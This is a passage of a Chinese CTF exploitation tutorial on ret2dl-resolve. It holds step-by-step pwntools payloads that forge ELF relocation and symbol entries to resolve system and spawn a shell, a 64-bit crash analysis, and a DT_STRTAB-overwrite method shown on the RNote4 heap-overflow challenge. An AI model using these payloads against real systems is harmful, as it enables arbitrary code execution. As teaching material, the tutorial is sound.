从这里开始,后面的 paylaod 都是通过 read 函数读入的,所以必须为 100 字节长。首先,调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 “/bin/sh”,以验证栈转移成功。注意由于 .dynstr
中的字符串都是以 \x00
结尾的,所以伪造字符串为 bin/sh\x00
。
1 2 3 4 5 6 7 8 9 10 11 12 payload_2 = "AAAA" # new ebp payload_2 += p32(write_plt) payload_2 += "AAAA" payload_2 += p32(1) payload_2 += p32(base_addr + 80) payload_2 += p32(len("/bin/sh")) payload_2 += "A" * (80 - len(payload_2)) payload_2 += "/bin/sh\x00" payload_2 += "A" * (100 - len(payload_2)) io.sendline(payload_2) print io.recv()
我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈,然后跳转到 PLT[0]:
1 2 3 4 5 6 gdb-peda$ disassemble write Dump of assembler code for function write@plt: 0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c 0x08048436 <+6>: push 0x20 0x0804843b <+11>: jmp 0x80483e0 End of assembler dump.
这次我们跳过这个过程,直接控制 eip
跳转到 PLT[0],并在栈上布置上 reloc_index,即 0x20
,就像是调用了 write@plt 一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 reloc_index = 0x20 payload_3 = "AAAA" payload_3 += p32(plt_0) payload_3 += p32(reloc_index) payload_3 += "AAAA" payload_3 += p32(1) payload_3 += p32(base_addr + 80) payload_3 += p32(len("/bin/sh")) payload_3 += "A" * (80 - len(payload_3)) payload_3 += "/bin/sh\x00" payload_3 += "A" * (100 - len(payload_3)) io.sendline(payload_3) print io.recv()
接下来,我们更进一步,伪造一个 write 函数的 Elf32_Rel 结构体,原结构体在 .rel.plt
中,如下所示:
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;
1 2 $ readelf -r a.out | grep write 0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
该结构体的 r_offset
是 write@got 地址,即 0x0804a01c
,r_info
是 0x707
。动态装载器通过 reloc_index 找到它,而 reloc_index 是相对于 .rel.plt
的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上。payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 r_info = 0x707 fake_reloc = p32(write_got) + p32(r_info) payload_4 = "AAAA" payload_4 += p32(plt_0) payload_4 += p32(reloc_index) payload_4 += "AAAA" payload_4 += p32(1) payload_4 += p32(base_addr + 80) payload_4 += p32(len("/bin/sh")) payload_4 += fake_reloc payload_4 += "A" * (80 - len(payload_4)) payload_4 += "/bin/sh\x00" payload_4 += "A" * (100 - len(payload_4)) io.sendline(payload_4) print io.recv()
另外讲一讲 Elf32_Rel 值的计算方法如下,我们下面会得用到:
1 2 3 #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7
,即 .dynsym
的第 7 行
ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7
,即 #define R_386_JMP_SLOT 7 /* Create PLT entry */
ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707
,即 r_info
这一次,伪造位于 .dynsym
段的结构体 Elf32_Sym,原结构体如下:
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
1 2 $ readelf -s a.out | grep write 7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
转储 .dynsym
段并找到第 7 行:
1 2 3 4 $ objdump -s -j .dynsym a.out ... 804823c 4c000000 00000000 00000000 12000000 L............... ...
其中最重要的是 st_name
和 st_info
,分别为 0x4c
和 0x12
。构造 payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c st_info = 0x12 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_5 = "AAAA" payload_5 += p32(plt_0) payload_5 += p32(reloc_index) payload_5 += "AAAA" payload_5 += p32(1) payload_5 += p32(base_addr + 80) payload_5 += p32(len("/bin/sh")) payload_5 += fake_reloc payload_5 += "A" * align payload_5 += fake_sym payload_5 += "A" * (80 - len(payload_5)) payload_5 += "/bin/sh\x00" payload_5 += "A" * (100 - len(payload_5)) io.sendline(payload_5) print io.recv()
一样地讲一下 st_info 的解析和插入算法:
1 2 3 #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1
,即 #define STB_GLOBAL 1 /* Global symbol */
ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2
,即 #define STT_FUNC 2 /* Symbol is a code object */
ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12
,即 st_info
下一步,是将 st_name
指向我们伪造的字符串 “write”,payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" st_bind = 0x1 # STB_GLOBAL -> Global symbol st_type = 0x2 # STT_FUNC -> Symbol is a code object st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_6 = "AAAA" payload_6 += p32(plt_0) payload_6 += p32(reloc_index) payload_6 += "AAAA" payload_6 += p32(1) payload_6 += p32(base_addr + 80) payload_6 += p32(len("/bin/sh")) payload_6 += fake_reloc payload_6 += "A" * align payload_6 += fake_sym payload_6 += "write\x00" payload_6 += "A" * (80 - len(payload_6)) payload_6 += "/bin/sh\x00" payload_6 += "A" * (100 - len(payload_6)) io.sendline(payload_6) print io.recv()
最后,只要将 “write” 替换成任何我们希望的函数,并调整参数,就可以了,这里我们换成 “system”,拿到 shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_7 = "AAAA" payload_7 += p32(plt_0) payload_7 += p32(reloc_index) payload_7 += "AAAA" payload_7 += p32(base_addr + 80) payload_7 += "AAAA" payload_7 += "AAAA" payload_7 += fake_reloc payload_7 += "A" * align payload_7 += fake_sym payload_7 += "system\x00" payload_7 += "A" * (80 - len(payload_7)) payload_7 += "/bin/sh\x00" payload_7 += "A" * (100 - len(payload_7)) io.sendline(payload_7) io.interactive()
成功。
1 2 3 4 5 6 7 8 9 10 11 parallels@parallels-vm:~/Desktop/dl_runtime_reslove$ python exp.py [*] '/home/parallels/Desktop/dl_runtime_reslove/main' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process './main': pid 30111 [*] Switching to interactive mode $ whoami parallels
这题中所需要注意的一些小问题:
最后调用system函数所需要的参数不能直接是’/bin/sh’字符串,需要的是指向它的指针。
开始第一次溢出程序的时候需要用的是read函数的plt地址,不能使用got地址。
这题是 32 位程序,在 64 位下会有一些变化,比如说:
64 位程序一般情况下使用寄存器传参,但给 _dl_runtime_resolve
传参时使用栈
_dl_runtime_resolve
函数的第二个参数 reloc_index
由偏移变为了索引。
_dl_fixup
函数中,在伪造 fake_sym 后,可能会造成崩溃,需要将 link_map+0x1c8
地址上的值置零
如果觉得手工构造太麻烦,有一个工具 roputils 可以简化此过程,自行尝试。
如果没有置为0的话:
将link_map+0x1c8
处不设为NULL
。再执行发现遇到segfault了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x40033c --> 0x2000200020000 RBX: 0x600efc --> 0x600efc66477747 RCX: 0x155dc00000007 RDX: 0x155dc RSI: 0x600f20 --> 0x1200200c40 RDI: 0x4002f8 --> 0x6f732e6362696c00 ('') RBP: 0x0 RSP: 0x600da8 --> 0x0 RIP: 0x7ffff7de9448 (<_dl_fixup+120>: movzx eax,WORD PTR [rax+rdx*2]) R8 : 0x600f00 --> 0x600efc --> 0x600efc66477747 R9 : 0x7ffff7dea4e0 (<_dl_fini>: push rbp) R10: 0x7ffff7ffe130 --> 0x0 R11: 0x246 R12: 0x0 R13: 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7de943b <_dl_fixup+107>: test rax,rax 0x7ffff7de943e <_dl_fixup+110>: je 0x7ffff7de9530 <_dl_fixup+352> 0x7ffff7de9444 <_dl_fixup+116>: mov rax,QWORD PTR [rax+0x8] => 0x7ffff7de9448 <_dl_fixup+120>: movzx eax,WORD PTR [rax+rdx*2] 0x7ffff7de944c <_dl_fixup+124>: and eax,0x7fff 0x7ffff7de9451 <_dl_fixup+129>: lea rdx,[rax+rax*2] 0x7ffff7de9455 <_dl_fixup+133>: mov rax,QWORD PTR [r10+0x2e0] 0x7ffff7de945c <_dl_fixup+140>: lea r8,[rax+rdx*8] [------------------------------------stack-------------------------------------] 0000| 0x600da8 --> 0x0 0008| 0x600db0 --> 0x600f20 --> 0x1200200c40 0016| 0x600db8 --> 0x0 0024| 0x600dc0 --> 0x0 0032| 0x600dc8 --> 0x0 0040| 0x600dd0 --> 0x7ffff7defd00 (<_dl_runtime_resolve+80>: mov r11,rax) 0048| 0x600dd8 ("jweM5ZXF") 0056| 0x600de0 --> 0x0 [------------------------------------------------------------------------------]
这其中,rax=0x40033c
是.gnu.version
所在。而这里还存在一处检查。查看dl-runtime.c
文件,这部分对应的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
这里,应该是由于我们构造的伪symbol的index过大,使得vernum[ELFW(R_SYM) (reloc->r_info)]
读取出错。为了绕过这部分,roputils选择的方法便是令l->l_info[VERSYMIDX (DT_VERSYM)] == NULL
。相关的汇编代码如下:
1 2 3 4 5 6 7 8 ... 0x00007ffff7de9434 <+100>: mov rax,QWORD PTR [r10+0x1c8] 0x00007ffff7de943b <+107>: test rax,rax 0x00007ffff7de943e <+110>: je 0x7ffff7de9530 <_dl_fixup+352> 0x00007ffff7de9444 <+116>: mov rax,QWORD PTR [rax+0x8] => 0x00007ffff7de9448 <+120>: movzx eax,WORD PTR [rax+rdx*2] 0x00007ffff7de944c <+124>: and eax,0x7fff ...
这里的r10
保存的便是link_map
的地址,所以只需QWORD PTR [r10+0x1c8]
处为NULL
即可跳过这一段。这便是roputils中这一操作的由来。
0xb. 第二种攻击方式: 改写.dynamic的DT_STRTAB:
这个只有在checksec时No RELRO
可行,即.dynamic
可写。因为ret2dl-resolve
会从.dynamic
里面拿.dynstr
字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写 这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。比方说,原本是一个free
函数,我们就把原本是free
字符串的那个偏移位置设为system
字符串,第一次 调用free("bin/sh")
(因为只有第一次才会resolve),就等于调用了system("/bin/sh")
。
攻击流程图:
所以利用关键就是能改变str的地址,先来了解一下str的结构:
.dynstr:
一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移 ,比方说,在这里,就是字符串相对0x804821C的偏移。
先用:readelf -a file
找到.dynstr的地址:
然后需要找到这个地址存放的地方,从而将这个地址修改成指定的字符串地址,使用readelf-R .dynamic file
能够找到.dynstr所在的位置。
将这个地址换成我们指定的可写地址(bss段),从而完成伪造。
例题:
RCTF的RNote4,题目是一道堆溢出,NO RELRO
而且NO PIE
溢出到后面的指针可以实现任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 unsigned __int64 edit() { unsigned __int8 a1; // [rsp+Eh] [rbp-12h] unsigned __int8 size; // [rsp+Fh] [rbp-11h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); a1 = 0; read_buf((char *)&a1, 1u); if ( !notes[a1] ) exit(-1); v3 = notes[a1]; size = 0; read_buf((char *)&size, 1u); read_buf(v3->buf, size); // heap overflow堆溢出 return __readfsqword(0x28u) ^ v4; } unsigned __int64 add() { unsigned __int8 size; // [rsp+Bh] [rbp-15h] int i; // [rsp+Ch] [rbp-14h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( number > 32 ) exit(-1); size = 0; v3 = (note *)calloc(0x10uLL, 1uLL); if ( !v3 ) exit(-1); read_buf((char *)&size, 1u); if ( !size ) exit(-1); v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指针,所以可以通过这个任意写 if ( !v3->buf ) exit(-1); read_buf(v3->buf, size); v3->size = size; for ( i = 0; i <= 31 && notes[i]; ++i ) ; notes[i] = v3; ++number; return __readfsqword(0x28u) ^ v4; }
可以先add两个note,然后编辑第一个note使得堆溢出到第二个note的指针,然后再修改第二个note,实现任意写。至于写什么,刚刚也说了,先写.dynamic
指向字符串表的指针,使其指向一块可写内存,比如.bss
,然后再写这块内存,使得相应偏移出刚好有个system\x00
。exp就不放了,有需要的联系我就可。
这个技巧真的是很有效的一种利用方式,而且很简洁,很快速,所以说能很熟练的利用这一个技巧的话,会在以后的解题过程当中省时省力很多。
Reference:
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
http://showlinkroom.me/2017/04/09/ret2dl-resolve/
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
https://bbs.pediy.com/thread-227034.htm
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf